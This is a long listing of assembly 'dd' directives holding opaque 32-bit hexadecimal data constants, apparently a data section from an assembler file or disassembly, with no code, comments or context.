		dd 87CFBF80h, 341D15CCh, 1740AAF7h, 0BEBC3907h,	36330084h
		dd 0A3EB4094h, 49000DD4h, 83461DBBh, 37703FEh, 712A8E34h
		dd 0F898B5C5h, 0C10B337Fh, 80EAFAE4h, 30E7C4Ah,	91620E84h
		dd 0AC87BA2Ah, 4EDD6073h, 0FE000DDCh, 455595A0h, 0E0287Eh
		dd 83BA0E1Bh, 507A62A8h, 2B8E350Ch, 872A087Dh, 0F316415Fh
		dd 0ED1080BFh, 4709B038h, 87301h, 6B8645BAh, 16F5B474h
		dd 119E4D00h, 0DB63EBFAh, 2C28C80Ah, 0B78EC341h, 1194A901h
		dd 4011BDE4h, 92131146h, 119BD511h, 413D824h, 9FDC449Ch
		dd 449DB144h, 0B84892C3h, 0B5273241h, 11BD3D01h, 0C984535Bh
		dd 2BB60DCh, 0B4CA471h,	8A29AD0Ch, 84300144h, 4B6D6B10h
		dd 5B080521h, 0B491DBh,	371880E6h, 0E33A6576h, 1EDBC0h
		dd 403C9FC8h, 638214D2h, 0EE29C100h, 0F71A847Ch, 6CCD3D9Bh
		dd 1BCBD000h, 8BDCDF5Bh, 4CC3F407h, 8CB38627h, 0C053B048h
		dd 8D2530FDh, 883A95Ah,	4BEC3500h, 0E143F24h, 0AC8000E1h
		dd 0D6C6E6B1h, 0CF0095B2h, 2C24A183h, 551087h, 0A3FD3676h
		dd 0C822A688h, 77654213h, 5D5CBA00h, 69E0D2h, 2BED4C47h
		dd 271E0F2Fh, 0AE7DA01h, 4E892AD3h, 24304970h, 7147C63h
		dd 0F3AE8FE2h, 10E85358h, 77827A4h, 74AC2101h, 640F4F0h
		dd 2B68D8E3h, 0E7890FDBh, 41A06AB0h, 78809BA1h,	8558A400h
		dd 97C16418h, 0D4A900F7h, 0A039607h, 80003863h,	0AEC31288h
		dd 7892F9h, 81EC2AF0h, 0A07D71FFh, 0F5590A3Ch, 82AC9900h
		dd 6606F7D1h, 0F9480FBEh
		dd 29A077D6h, 9B082A1Dh, 0E26EC000h, 0CBF482C5h, 9856008Eh
		dd 0B0E1260Ah, 9700B5F3h, 3008D6BDh, 154ABBh, 991A3D66h
		dd 0E1A3BA8Bh, 0BF174400h, 0A4D02AC9h, 0C1C80636h, 38B5CA8Eh
		dd 0B8DE4100h, 0B903A158h, 0C3E90095h, 0DC47BF5Ch, 0C800BA0Fh
		dd 0CE3A2676h, 0CFE9FFDh, 3CC50308h, 0DF038D10h, 0CFE5938Bh
		dd 3EB4D0B8h, 0BC650079h, 0AD6660D6h, 0B00FFE99h, 8961Ah
		dd 49418B0Fh, 0A8440FB8h, 0E280BA02h, 0B16D7DBh, 5C24D41Ch
		dd 8C54B9C0h, 2E40E779h, 8232DDh, 0FD8F9B7Fh, 8A1DF01Bh
		dd 958FA6DCh, 0E2C19F9Ch, 0AD026EB9h, 0E8E8A3EFh, 80BF51h
		dd 5295F257h, 0E6BD5BF8h, 0CB20DA00h, 47F7263Ah, 0E8C21DEFh
		dd 1F6CAC3Eh, 8B79074Fh, 96620EAh, 13889EBh, 0CAFF00B3h
		dd 0AA30E250h, 90DF006Bh, 8D413DDAh, 62007B1Ch,	5515663Ch
		dd 9E1411h, 2FC67D87h, 4F595499h, 0E7D0AA01h, 7FA271E6h
		dd 1F4C7C0h, 11AFEDB1h,	0D8D5A783h, 18007DE3h, 0EE65DB99h
		dd 43D6A5h, 7E832E46h, 528EB757h, 7588F400h, 0A7E0D833h
		dd 90FBF20Ch, 0F1190E98h, 6F601DECh, 76601FCh, 0CB014E73h
		dd 55B61A68h, 99EC9678h, 0FE2F32B2h, 8A601C46h,	7EA345Fh
		dd 14ABF104h, 488050D0h, 0A546A1h, 43966876h, 773E56FCh
		dd 0E0B60909h, 88E4018Fh, 9BDC3023h, 13EC7A3Dh,	5C34D6h
		dd 1E5B3105h, 3E0063FFh, 92B721D3h, 0F166A19h, 0C6A943A2h
		dd 4CE73061h, 209C206Ch, 49116103h, 0F81E7AE9h,	0ECFF93EDh
		dd 8AE53F83h, 0C2CB3F00h, 8C41FC50h, 94196900h,	7A6E23D1h
		dd 0AE180234h, 0C6628343h, 0C1E700C0h, 9998FA00h, 37BB80E5h
		dd 4FD200ACh, 51865904h, 4300D778h, 38BD0B28h, 3E5C6390h
		dd 0A68EA048h, 1ECF309Ah, 7BFA5AE0h, 8B00AA9Bh,	0C14DDB4Ch
		dd 1205FBCh, 92AFB95h, 0D0A728DDh, 2200C007h, 3454DFE6h
		dd 70FB8E2Ch, 0C24000BEh, 0F094993Dh, 25008471h, 317EFA32h
		dd 0A89833h, 1DF644D9h,	4C3C4A99h, 806F1739h, 6EC1515Fh
		dd 3C9E0D35h, 0C2801369h, 85530F4Ah, 0F2008B34h, 0FAE33E5Dh
		dd 905B7161h, 447E0074h, 0C46DB176h, 16002FAFh,	939950BDh
		dd 12BC16Eh, 0E3F0C2F3h, 2062E24Fh, 0B90757E4h,	29BC0CAEh
		dd 8379D890h, 0F3B20067h, 0EE8CC74Ah, 4E0045C8h, 586638DBh
		dd 0AA2D8Bh, 436FB1BBh,	23802C93h, 215FD800h, 0B8670187h
		dd 0FAF37B1Bh, 6DCB00C1h, 0C06EDF10h, 0C83D533Dh, 998007Dh
		dd 1A284D8Ah, 1FC20039h, 1282A908h, 91002740h, 1D5B4A8Fh
		dd 1451129h, 0CBD82AA8h, 0C0EF39C1h, 710382CEh,	67A32EEBh
		dd 0A10ED83Bh, 18960085h, 7513577Bh, 273C28B1h,	0DC3B804Ch
		dd 88CC2F9Ch, 31F7732h,	6C695873h, 18F0AC85h, 82001A71h
		dd 927A5549h, 18B64E1h,	9514A2B6h, 20C62DFAh, 5E301E82h
		dd 776788C2h, 0AEFD00DCh, 5F4E6D8Eh, 2B004427h,	23D5F05Eh
		dd 8D2985h, 0A7C5193Fh,	0D6E0340Ah, 0D14CF30Fh,	2544A0FEh
		dd 0F5E2A0Dh, 1020CC54h, 0B9B19A00h, 0F0010A30h, 2135840h
		dd 5F70EBA8h, 0C0813A4Fh, 9FFC96h, 87DF59DEh, 4500D5A2h
		dd 70C4D3Ah, 0E59121h, 0CAD79967h, 33BE834Fh, 7184EA00h
		dd 6EBFD0D8h, 0A4EDA1F8h, 85623880h, 37F900Eh, 1765CE0Bh
		dd 0F74600C6h, 0CF42BBh, 7B3740BDh, 4C3EE768h, 0A66FB724h
		dd 841BAB03h, 34B490DAh, 0B271D2h, 278728BAh, 7D7CB31Ch
		dd 0C760C500h, 0F6EFFB9Ch, 836C0066h, 58A0B1EDh, 43005EDCh
		dd 0BF6E3607h, 71FBB459h, 706C00F6h, 62550DE6h,	7476FF08h
		dd 863E7200h, 53A87F25h, 95BE00EFh, 0D979BA88h,	0C500B284h
		dd 3564C4F2h, 7FD4342Ch, 0D798Ch, 950FDA79h, 0B3254807h
		dd 6C233Eh, 42E0B457h, 89012Bh,	0C4096F76h, 1093729Bh
		dd 0FE009D7Fh, 0C65730D4h, 7801C2h, 0BAC3CB62h,	873208EFh
		dd 74405500h, 0C93538C4h, 567008Eh, 0FBCCE99Eh,	0AB0329B8h
		dd 160B74EFh, 0A8BFB3C4h, 4176B1h, 73CD3E17h, 81B6B99Ch
		dd 0D5E58900h, 8B82A71Bh, 0EE7F4Eh, 1C3407Ch, 4808D126h
		dd 870E030h, 0F64FA338h, 0BD75028Dh, 6B7F809h, 971BBBC0h
		dd 0BBCE7C00h, 2AD4E67Fh, 702E18F5h, 0C93798A3h, 9324061Fh
		dd 0E0BB984Fh, 6D575B9Dh, 0DBEC03Eh, 0FEE130E4h, 0FB312700h
		dd 371CBF32h, 0BD743829h, 0CF00A0BEh, 0AFE2B1C6h, 0A2041D63h
		dd 97343191h, 2A211180h, 0D7C8003Ah, 198DEA11h,	167E749Dh
		dd 0CD005CF2h, 0B804011Eh, 29A265h, 80DD91F2h, 9A312572h
		dd 0D2B7C800h, 48136B26h, 8AC7003Ah, 0F4CEE903h, 20004E33h
		dd 3B19A2DDh, 35C1C3h, 401B7356h, 8160AAFCh, 0C67E1701h
		dd 69F87988h, 0AC0240CAh, 0DE370924h, 0C70E4F41h, 4BA348D8h
		dd 9D00587Fh, 98E9363Dh, 74DBC38Fh, 99570B48h, 148165BEh
		dd 7013B9C4h, 85008158h, 27A4EE12h, 0CD0B14h, 0CA1B6743h
		dd 51A1D702h, 40D3BB00h, 0F5144F73h, 75001A4h, 0BF3D4913h
		dd 92B440B7h, 7100F3EAh, 17E8548Bh, 4F2A8Fh, 631E6ACFh
		dd 0BE454478h, 3B16611Fh, 0F092AE00h, 2B085A4h,	37FA6003h
		dd 8CE04278h, 9D00D709h, 80C4A5EBh, 0F2B9B8C8h,	6A70F1h
		dd 0FB5B5F81h, 50594806h, 0C59BC20Eh, 8AC600Dh,	8623DCh
		dd 0FCEEB2EAh, 7DC1605Ch, 0F9AFF40Fh, 0B59E8053h, 24068D69h
		dd 4F0C649h, 0C08088C9h, 0BCEC4884h, 2AAEFC00h,	0D2C74324h
		dd 19E07C0h, 2730D0h, 7FBEC4A2h, 6B448A0Eh, 398B27FCh
		dd 4FBD9C20h, 3010F487h, 8D34F1D1h, 28C0DD51h, 0B8FD3581h
		dd 4071DF30h, 0A06DF0A9h, 0E4F6A452h, 27B1DE1Fh, 0C2462207h
		dd 0C420601Eh, 735D3245h, 5C77DBh, 0BF164BC5h, 92715AD9h
		dd 0BD094739h, 7E5C39h,	0C7A54EE4h, 0D43869h, 0AA5B856Ah
		dd 7F3A0675h, 31B50F00h, 0CC44DC2Ch, 0FD33068Bh, 905AB385h
		dd 4900B076h, 0DE972EB4h, 7DB1C71h, 0E1444787h,	6DF50D4h
		dd 4900A703h, 8E0925DAh, 1FA3B8F7h, 0CE66D7C5h,	57A0CDECh
		dd 8B1560C0h, 0C1187500h, 77DA2250h, 37354C37h,	7E280A04h
		dd 0BE4780A5h, 3A24BD1Ch, 6501C975h, 6E41B819h,	1606EF70h
		dd 24B7CBh, 0B767517h, 1A6014A7h, 0D5913048h, 6E8900EBh
		dd 718C39Dh, 0E5002ABAh, 0F683FC98h, 12DAC2B3h,	0EFE14EAh
		dd 0E48C5F12h, 73044BC2h, 18F49A99h, 4E3F71C1h,	948AC840h
		dd 72BC009Bh, 4D0B55Eh,	0F2E6E3E4h, 74B75700h, 786FC2E8h
		dd 0F7510375h, 887C4F29h, 1D50FDE8h, 0A8680400h, 8240EC0Ch
		dd 33FF0506h, 81E7F827h, 0D8E3BA02h, 5B001911h,	0BF1374C5h
		dd 140FB62Eh, 80C9CCFFh, 20E70607h, 0FDB57045h,	0AB01BCA7h
		dd 0E1D48ADh, 0E02E26CFh, 8A4B3D1Bh, 32D0C6A1h,	2C0C006Eh
		dd 0CABEC9A2h, 88000F78h, 0EC71C4C6h, 77C50E3Bh, 0F4190075h
		dd 365A2B3Eh, 6E487BC9h, 51C80924h, 72D05EDh, 0D568000h
		dd 1E4DD581h, 80940C29h, 4E40F8FEh, 3570430Fh, 4BBF470Ah
		dd 0EF00E350h, 0E308571Ah, 140949B0h, 92013A48h, 0A10C5516h
		dd 5F6D602Ch, 0C61FE709h, 0DCB28072h, 167008CCh, 60F91499h
		dd 0E7C10AD4h, 16F6A178h, 54521301h, 3349A93Eh,	6F90E8h
		dd 0E7EEE350h, 3C2340BFh, 72546700h, 6378AEC6h,	40224C89h
		dd 0A7E4DD01h, 0D09537AFh, 0BA0E17D9h, 408F0741h, 60A33B29h
		dd 0FC050057h, 0EFBAA28h, 0B371D4E4h, 0C3979600h, 16A0D112h
		dd 0B6E70203h, 0A7431467h, 5D084000h, 6B9480A8h, 0D8AD2F18h
		dd 341FF8h, 0F5E1B4D6h
		dd 0C6AA204Ah, 0AFB61A02h, 60503FA6h, 8176F3h, 59421F31h
		dd 73AADD9Bh, 282B5A00h, 0F66BBC3Dh, 0BB640F21h, 0A201C96Ah
		dd 20CFF540h, 9A7E4A0Ch, 0AA031EF6h, 7E711A3Eh,	241BB030h
		dd 25676FFh, 0A3326F35h, 0E2877220h, 6E8FB717h,	65A29980h
		dd 27039515h, 22D6BCAh,	0BA7A88F2h, 7F5F0F33h, 0DFDC68h
		dd 0A2861162h, 0B5004C39h, 48C9B47Ch, 30DAF5h, 0C0CB254Bh
		dd 21D0790Bh, 0BB467B00h, 6C78FFB4h, 6086013Bh,	0A84862DFh
		dd 0CA4ADC0Bh, 58984500h, 0F0B126ACh, 398FE67Ch, 59BA0DCFh
		dd 80B2211Fh, 0CC4D4F45h, 4E0E4667h, 40332A9Eh,	1EC3BD65h
		dd 0E7BB0054h, 0BC279F8h, 170F0152h, 0A03698ECh, 8EE34360h
		dd 1ABD006Dh, 91C222E4h, 0C012F84h, 0ED306452h,	0E6D06997h
		dd 4ED100CBh, 7F2FFC7h,	633BD5A9h, 1F188094h, 78475512h
		dd 7D04B008h, 0F8F500C1h, 18F209EDh, 0DEEEA7BBh, 0D1549600h
		dd 464A0C62h, 0CA4D00B0h, 29263682h, 8B0077E7h,	8C2FF9C1h
		dd 246C8FE8h, 0C70A2Ah,	2966D1B9h, 5400A204h, 0F2AD1845h
		dd 62C294h, 0F3AFFA5Ah,	63CD51F9h, 0D3455D00h, 42AB96E4h
		dd 0A5923EB5h, 39ED4D02h, 0B080C11Eh, 653DF3A4h, 8415E63Ah
		dd 2E1466DEh, 0D728CCC0h, 25593C47h, 0F247503h,	0CDBD13Eh
		dd 0BFEEB1B8h, 0FB5EF400h, 0AEE5F0FEh, 0DACB1FE9h, 0CDA8803Dh
		dd 7EEA9B51h, 0FE1E89E0h, 8196CF97h, 3D7D9600h,	0FA275EE8h
		dd 0DC390050h, 0D87B711Fh, 26715F4Ch, 0BA68A701h, 0DD5A5519h
		dd 0F3AECCh, 27CDC94Eh,	0D7FBD184h, 0DCEFF600h,	0CEBD1E02h
		dd 669F0723h, 9046E47Dh, 8A746227h, 9A902A1Fh, 0E500B0DCh
		dd 0CDB612EEh, 620B008Ch, 0B31A0484h, 0FC396468h, 0E4900076h
		dd 6C7F23F4h, 1CB70091h, 0A28017ECh, 0D9002FD0h, 18B5D520h
		dd 0D83BE1h, 0C0350D53h, 0D746CF0Ah, 75772A1Eh,	0B3101E00h
		dd 894E1Ch, 0EC65277Fh,	776E4504h, 0A8C101F0h, 80ED98C5h
		dd 0FA5807F0h, 250D003Ah, 64E23B6h, 92385FB4h, 187185CBh
		dd 0F903AA91h, 0DBBBF122h, 68A0003Bh, 77AEB541h, 0A300B96Fh
		dd 61B65E43h, 1C225776h, 41187C40h, 4B978D12h, 153FC0D7h
		dd 0CA00E4ECh, 68AF4663h, 0C5426D3h, 2098237Dh,	0DF505298h
		dd 0E900D1A0h, 919A8769h, 0F35557Ah, 7FDD16AAh,	6D9BC3C0h
		dd 6100303Ah, 5DF0DCDFh, 0EA68D2h, 3683CF75h, 0C8DDE8FCh
		dd 0A5C21600h, 7A8439B8h, 0F21C3A4Fh, 19516C80h, 0D685FCFDh
		dd 56384Ch, 0A7998BD8h,	139DDB82h, 0FF35F4D5h, 0DA951300h
		dd 0CEC49009h, 0E40021D6h, 9EE90A3Ch, 3865A100h, 2734738Bh
		dd 0C9D0011h, 1C8AF330h, 3E00D05Ch, 0B4D96110h,	3CEB975Bh
		dd 1E00D16Ch, 0C36AB21Ah, 5D004248h, 0EF0859D8h, 1E5D297h
		dd 0FFF92C8h, 0E4519CAEh, 0DA0047C7h, 7C9F6DE1h, 14103F43h
		dd 94E09773h, 59826280h, 0F900EBDAh, 9229386h, 9F06BAh
		dd 67AEA103h, 35B9B61Bh, 0FF0086ECh, 0A6940BFCh, 1DEFCB04h
		dd 33163Ah, 0DCB77DDAh,	6901015Ch, 0AF8B7B9Dh, 9BE3B045h
		dd 0D7AB08Eh, 0F8F900C3h, 0A37D85CFh, 670FC56Ah, 80A20A17h
		dd 0D7A4842Eh, 0F3E1002Fh, 41023952h, 9FB0B76Dh, 0DB193200h
		dd 7A6731FBh, 0B9EC000Ah, 28A33403h, 660C69F7h,	11454B2Dh
		dd 0A233077Bh, 80C62953h, 0C4D5432Fh, 174F30FFh, 37B91502h
		dd 806B447Bh, 8AFA06EEh, 0F573FFDh, 18B4C087h, 0CB8F20A3h
		dd 830901C9h, 19EE814h,	611AEAD4h, 59ADC4h, 0E2C565D2h
		dd 0CFC6078h, 7A5E4400h, 10DF8292h, 0F3F75C09h,	6445F503h
		dd 8DC81BA1h, 67000277h, 0C9065DB1h, 0FA33656h,	0CD7F3A9Ch
		dd 9F8747C1h, 1BD5F0B9h, 0CB7C0328h, 139B100h, 0A85B7A7Eh
		dd 0AEAB00C0h, 0DD579CE3h, 3A0041E6h, 230299D5h, 19629B9h
		dd 0BE8C9E95h, 813603C4h, 3A5E71E0h, 0F18F6D65h, 3E40789Fh
		dd 55EC8BCFh, 0E7191A00h, 8A6CBEDEh, 17EA53h, 0D7E28F5Ch
		dd 0DF0E4857h, 5C6BC03h, 0B22BC4C2h, 36A4C0CCh,	205A6032h
		dd 3EE0433Dh, 0DA1E7314h, 3FF5890h, 45F81507h, 9C0940Dh
		dd 8ADD56h, 39314A49h, 9B243ED6h, 2F619300h, 0DD55B2EBh
		dd 26020003h, 73800DB6h, 86398AB9h, 7E798718h, 0AE404F51h
		dd 2DD3CAh, 14D5A67Bh, 1F65220Eh, 0FF6F3D1Eh, 42744340h
		dd 3A788FD2h, 0B0960995h, 90620013h, 6E49E83Ah,	31C5C900h
		dd 7CFEBB9h, 1BB70053h,	7B1D1CD7h, 3D0705A1h, 235D2454h
		dd 0B3E9601Eh, 0CD854Bh, 9CD61506h, 907C6621h, 0DEE5E800h
		dd 0F46CF0D8h, 0E9930588h, 31D06ACh, 85D907A8h,	76DBFAF0h
		dd 0FE6A651Eh, 0A984DF81h, 49D4BF4Bh, 0CB6100D0h, 0CE05CCE6h
		dd 88001108h, 0C1571714h, 0B1320Bh, 0A4178E8h, 0BAE29A92h
		dd 117EAC00h, 0B53CFC2Eh, 27B903A0h, 79A7D3ADh,	58FD080h
		dd 9030427Ah, 0E49CF87Eh, 433800F6h, 0E8742C12h, 1E0F4ECFh
		dd 20FAD687h, 8C0ADCBh,	0CE270989h, 1780A622h, 9C401638h
		dd 723C4D00h, 424CD59Bh, 0DF30D7Dh, 0F7E00EFEh,	50376EB0h
		dd 61D73003h, 0B886DD28h, 0D2F2C8h, 49141E6Ch, 0CC2A88D1h
		dd 7CC4BD00h, 73EFC619h, 135B002Bh, 88FB9542h, 48F22499h
		dd 0B2D2F400h, 7CCF72DDh, 15C30001h, 7A69738Fh,	7F070842h
		dd 0FDE95CE8h, 4789B420h, 0F0B000CCh, 0E37BD9DAh, 0F17609ECh
		dd 0F8C1C424h, 2F839200h, 78954B3h, 537F0E5Eh, 9D1B40C0h
		dd 8C00A22Ch, 0B549A836h, 5CCCCD0Ch, 3F00B6BEh,	39CEFF3Ch
		dd 29FC7D40h, 18233Ch, 0DF887077h, 0CC925Ch, 7ABE8A45h
		dd 4303526h, 9C503800h,	942244B3h, 48FC000Dh, 3B4EECF3h
		dd 0E61F2333h, 0E31357F1h, 805B2F09h, 58B9794Eh, 1B0B03BAh
		dd 31215910h, 53821798h, 7D8FFB00h, 60D56388h, 5724001Eh
		dd 1C4ABA83h, 0EF507E54h, 0EC0313BFh, 0C2FFC41Fh, 4AC9384h
		dd 4B8830F8h, 0A9489089h, 5CE4D1DEh, 447D02FAh,	0AE60F201h
		dd 0A6A07C4Ah, 853AD8h,	0DB246C61h, 2CB5471Ch, 550F3Dh
		dd 8EC69573h, 0C47DD9h,	2502BEF3h, 84C81319h, 58944019h
		dd 40CABA70h, 0BF4AA04h, 3E4C7303h, 0C01A6580h,	0BD2435F5h
		dd 0C32036A8h, 0ECE56807h, 1B501482h, 54552D2h,	2A4F3C72h
		dd 0E6DAC05Ch, 6304DC2Fh, 0FC6C769Eh, 4488DC0h,	90DF002Bh
		dd 54F31785h, 9800D680h, 46C734A2h, 7CF026ABh, 6FFB0086h
		dd 315565CBh, 47E0CA16h, 9FDED901h, 6D8AFE72h, 0E8E20034h
		dd 11F90FDh, 0D9712E39h, 9E5A500Eh, 0BD4E25D0h,	0C93BC094h
		dd 7815E53h, 313D5105h,	0E22970ACh, 390024EDh, 8E0C6BDDh
		dd 306DA0h, 6E5DD7E7h, 0D67F14DBh, 7B9B4C09h, 25F6809Fh
		dd 9D5327h, 16864A13h, 11E149B4h, 4410E403h, 0C070C242h
		dd 1EAD60FCh, 43501843h, 0A5854FE2h, 0CE84C0D7h, 0C807DB86h
		dd 46BB7123h, 0B100E7BAh, 95AE6532h, 59880B72h,	3C000A0Ch
		dd 0A8FF5A36h, 9481E400h, 1712F3E8h, 22DD0058h,	0A4610B3Dh
		dd 96724954h, 19057777h, 0DD9BA5B0h, 1BDA0080h,	2CE00029h
		dd 338567B9h, 0EC02B55Ah, 5842D0CDh, 0D8F463DBh, 0F44AD44Ch
		dd 0EAF10013h, 9E69B89Ah, 0FD03C8F2h, 775950D3h, 0B6D79026h
		dd 0E23744Dh, 9C6660EAh, 3FA9364Ch, 89D49248h, 8080209Eh
		dd 1976Ah, 6EA64D18h, 4A40E6BBh, 87F25Ch, 3DFAF69Fh, 9E4987Bh
		dd 804B2252h, 0D83F7880h, 0AC01F9B7h, 6A648702h, 0E5F8C342h
		dd 0DCAB072Fh, 0F0FC9265h, 0A472F163h, 2EBF8700h, 0B08FA652h
		dd 604AE2CFh
		dd 0FD089844h, 660F1325h, 203C3B6Eh, 1487366Dh,	0A8C700ABh
		dd 562886EBh, 1000CD9Bh, 0EA7B6EE7h, 58165A79h,	3458D5D8h
		dd 0B8CEE300h, 0BDB9C309h, 2FA6DC0Bh, 0B61C00F2h, 972D23h
		dd 3B7A9FF8h, 0AA993E12h, 5773C500h, 9C1C390Bh,	0F309822h
		dd 0E64540F5h, 0F20A88A1h, 2E44018h, 0E4009482h, 6939CB09h
		dd 6F813E9h, 730D1C2Ah,	710C3838h, 0B8799C4Bh, 1B33029Bh
		dd 0C5B777A2h, 0B0CE2887h, 94A4AA9Ch, 0E118971Eh, 0D3F05600h
		dd 5C531567h, 0AE0000DDh, 96C0C177h, 7C75DB01h,	0F8FE2A00h
		dd 890442E4h, 7CE7F04Eh, 61EA6Bh, 4CE0E943h, 0F61905A9h
		dd 0EBFCC47Ah, 51DD9505h, 64C0DBACh, 803732h, 6C855E14h
		dd 0EE7A419Eh, 0E10CC417h, 7E512C00h, 7396D8F8h, 4AB8126Bh
		dd 700C00CCh, 0BCC829C6h, 0CE000A7Bh, 0BE6E615Fh, 0A536E7h
		dd 881E64DFh, 8F80F8B7h, 9DD0E300h, 0D40C75DBh,	51D30139h
		dd 59B32DCAh, 2C782093h, 35042B0Eh, 8D566098h, 24C9D8Eh
		dd 1E39C295h, 0B760BD2Ah, 0C80111FEh, 0CDCF3B9Eh, 0D1FC7533h
		dd 0EEC20047h, 3CA69D7Bh, 0F905FDDCh, 685DDB74h, 7043AC13h
		dd 0AF4669B9h, 4110ECD7h, 72674Dh, 978B3CDFh, 1C04F5BAh
		dd 0F4313500h, 0A0A22E4Ah, 43FF44Ch, 1F9993C6h,	1744C020h
		dd 0EA00147Bh, 0FDE1434Eh, 969FA3h, 0B3A77650h,	0B445A6ECh
		dd 8382D33Ah, 62C5584Ah, 0FD38F0EDh, 0E0FCE529h, 0F425006Ah
		dd 0A8F140B5h, 0E100B78Eh, 0D22C1F7Ah, 422FF2h,	520C135Ch
		dd 0ABECCEFAh, 1D0707B0h, 0B04B4D84h, 0DFE2340h, 558C008Fh
		dd 99C52EB5h, 0F30071A4h, 19DB7858h, 1E9A9C73h,	898BA5ACh
		dd 400835FFh, 0C0791DF0h, 17154C95h, 4F00EABBh,	6B3EE5Ch
		dd 9107B6h, 7297F4E3h, 0B85FA8Bh, 51048302h, 0C0313079h
		dd 741F00h, 3BB6E366h, 0F626D5CCh, 0BA469616h, 0C1A45807h
		dd 0ABCEE510h, 2CFD721Ch, 0C2506h, 0FE3675E9h, 0E40038AEh
		dd 71A0133h, 9C8C094h, 1F3519BEh, 0A00FFBFCh, 0B4412977h
		dd 1B5128C8h, 5B2100DEh, 0BA70B9B0h, 0D800AB03h, 0CFF6D3AEh
		dd 0F04DC9h, 0D2F15AF3h, 0ABBD4211h, 68F5150Fh,	8B45C19Fh
		dd 85D8CEE9h, 0E581008Ch, 0FF6276CBh, 0AC0EEAEDh, 60D461A1h
		dd 4526F974h, 0DE980587h, 872C80CDh, 0A7002F5Fh, 3E8B6E97h
		dd 0CBB0147Ch, 0F7183A00h, 0F204A40Fh, 3D1F0015h, 9E33AFA2h
		dd 4B00EA6Eh, 7DDD69E3h, 50E82Dh, 0DEEB6ACDh, 0C2B73847h
		dd 0A8928003h, 8037B2C1h, 13A82h, 0DA055FB4h, 34498F0h
		dd 6A668100h, 4CC15048h, 1B8C1617h, 518600AEh, 76A3B0BCh
		dd 437F201h, 9E57B818h,	0F7B97F4h, 6490446Dh, 55B9FEA1h
		dd 1F1B6023h, 7D4D5300h, 813DF9F8h, 0CA403C27h,	42C58F80h
		dd 9D1C8660h, 75696B00h, 0F1D21488h, 2BB00055h,	0A8EE76FEh
		dd 0B5004E13h, 0ABB27D23h, 0BCC72h, 3F159E96h, 86EF6D77h
		dd 0C74CA500h, 32A1FA6Ah, 0C4D100BCh, 0EECB6B6Ch, 5004F1Ah
		dd 25293669h, 32BBFD6Dh, 9B60275Bh, 0F41A8561h,	0DCA069CAh
		dd 848D91h, 0CBB13032h,	936ED14Ch, 1122F00h, 4EBE794h
		dd 147600FDh, 0EABA7ADh, 2C00C7CCh, 6E193BD3h, 484BB8FCh
		dd 7200F8DFh, 769325D4h, 0E13B4D8Dh, 0CF4817h, 0DD447A65h
		dd 60D442E6h, 0CACB808Fh, 0EE003B1h, 0A0A48B00h, 1DF1CF47h
		dd 0D70A00F3h, 3122C70h, 0C0008F6Bh, 55831EB6h,	9D4A432Eh
		dd 58656CE0h, 74AF1B00h, 0CF7BCD72h, 71B30088h,	67D8F6C9h
		dd 50004375h, 0EB9B4DD1h, 0EE52DB3Fh, 21600A1h,	9548F61Ah
		dd 2B0344F2h, 847A065Fh, 0D72290F0h, 0A70D0082h, 4B27FDFAh
		dd 0B03929D4h, 0DC890A7Bh, 1B1EE32Bh, 0EB31500h, 12241C0h
		dd 2FC8AA88h, 0D03411B6h, 0F8E85A67h, 0F9007F7Ch, 68AD6EFCh
		dd 72E9B0h, 4CF2CD14h, 465B1A84h, 42009474h, 237750Ch
		dd 79EBED06h, 0AC50B2Eh, 8109BAB3h, 41B1CD00h, 4428F727h
		dd 1800E072h, 0CEE61A73h, 0C2D05Eh, 0BF029728h,	0ACD63A7Ah
		dd 95006E72h, 58C67C96h, 2F494EFh, 0ED86DE8Bh, 20404EFAh
		dd 0EC00A528h, 0FC14FD18h, 39B173F7h, 5E87C437h, 0D07E98CAh
		dd 0AD23E704h, 0D8509100h, 4667885Ch, 0CF70DAh,	9328B476h
		dd 9E36BD26h, 92F09100h, 0A1DA1170h, 31F5009Dh,	33F49BFDh
		dd 4700B286h, 43A02F1Ah, 2C93FAC7h, 9B24824h, 40054177h
		dd 3CA8C010h, 4C00E45Ah, 7C7AC6B4h, 0E7FE95h, 0D0AC8537h
		dd 0B9DA9FEEh, 2069DE00h, 0F898273Bh, 0F56400FAh, 0EA78E583h
		dd 0AF005270h, 2F323787h, 8C8259h, 3488207Dh, 0A8AA93F4h
		dd 0E7C14100h, 58D53F2Dh, 70FC2Ch, 8544156Ah, 1FB629AAh
		dd 2E18224Ch, 5F00C2B4h, 0ADDCF7ABh, 0B56B3B13h, 9C7FF081h
		dd 3091CB16h, 80018B08h, 0ED6DA541h, 81F3B799h,	0C4F4565Dh
		dd 1BCC0045h, 88E06749h, 9EEEBB4Ch, 0ED91B100h,	57150E02h
		dd 61E8B4h, 7F1AACC0h, 96A376F5h, 8168CC00h, 0B3DE8B9h
		dd 0A0F9C0B8h, 859364F9h, 0EB460804h, 0DF9026C8h, 3F0E307Ah
		dd 7B8FD454h, 0FCC0F43Dh, 843BEE94h, 0C07E1800h, 9CDE55Fh
		dd 0D0D4050Fh, 0C0A3A4E6h, 23E80691h, 7E00E173h, 6E63BE20h
		dd 0A810CDA5h, 979D5D8h, 7B3582DEh, 3F87083h, 0E0EC93D7h
		dd 66C0E3D8h, 3A017248h, 0FBA00055h, 30A840D8h,	4E492F02h
		dd 123FADF8h, 0A680802Ah, 24CFE89Ch, 0F31A00B5h, 0FD4BA94Eh
		dd 0DE3A8991h, 0C85A80CAh, 6DAF80A6h, 76590E86h, 0A000C4B8h
		dd 1C2D1D2Fh, 43CE3300h, 633B2B14h, 686C13D6h, 97AC0089h
		dd 0DEF2F9D2h, 7105EE00h, 0A5217E4h, 0C054011Ah, 0B86D0F7Ch
		dd 9F24604Ch, 6501E000h, 0A82664E8h, 0ECB64C85h, 0D005D200h
		dd 965D042Dh, 0AF258917h, 0BBD9D0Eh, 25EE8FC2h,	0C0584B3Fh
		dd 444838h, 0AC69C976h,	7EF91FEFh, 50BD94B2h, 0E05C9AE8h
		dd 45E2039Ch, 98E75726h, 1A0FEAA0h, 0D31C10A0h,	0C126377h
		dd 0DF0DAA7h, 33300FC6h, 0F400E34Ah, 5917D4A8h,	8F33E475h
		dd 0F06B8026h, 175C23CFh, 8D3F93h, 0A0788419h, 1C90A8B7h
		dd 0E2672601h, 0B5B23EC6h, 28703D70h, 603C1B04h, 26992024h
		dd 5C6F7D53h, 831D9DB8h, 0E7440022h, 2E2A4645h,	0A3071A61h
		dd 230688A5h, 4780B885h, 8228BFh, 0B955384Eh, 0CECF3C47h
		dd 0FC92BB03h, 292E37h,	56540B64h, 5A51988Bh, 0F1EFE300h
